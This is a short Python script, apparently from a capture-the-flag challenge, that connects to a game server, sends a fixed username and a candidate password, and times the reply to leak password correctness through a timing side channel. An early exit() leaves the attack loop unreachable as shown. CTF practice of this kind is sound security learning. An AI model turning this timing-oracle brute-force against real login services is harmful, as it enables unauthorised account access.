You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
51 lines
1.0 KiB
51 lines
1.0 KiB
#!/usr/bin/env python3
|
|
|
|
import socket
|
|
import time
|
|
import sys
|
|
|
|
def socket_slurp(s):
|
|
# Read any data with a 0.1ms timeout
|
|
s.settimeout(0.1)
|
|
while True:
|
|
try:
|
|
s.recv(1024)
|
|
except socket.timeout:
|
|
break
|
|
s.settimeout(None)
|
|
|
|
def socket_readline(s):
|
|
line = bytearray()
|
|
while True:
|
|
c = s.recv(1024)
|
|
line += c
|
|
if b"\n" in c:
|
|
break
|
|
return line
|
|
|
|
def attempt(s, pwd):
|
|
s.send(b"ax.arwen\n")
|
|
part1 = socket_readline(s)
|
|
part2 = socket_readline(s)
|
|
|
|
s.send(pwd + b"\n")
|
|
part1 = socket_readline(s)
|
|
time1 = time.time()
|
|
part2 = socket_readline(s)
|
|
time2 = time.time()
|
|
return time2 - time1
|
|
|
|
pwd = sys.argv[1].encode(sys.getfilesystemencoding(), 'surrogateescape')
|
|
print(pwd)
|
|
exit()
|
|
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
s.connect(("fools2023.online", 13338))
|
|
socket_slurp(s)
|
|
|
|
attempts = 4
|
|
times = 0
|
|
for x in range(attempts):
|
|
times += attempt(s, pwd)
|
|
times /= attempts
|
|
print(pwd, ":", "%.04f" % times)
|
|
|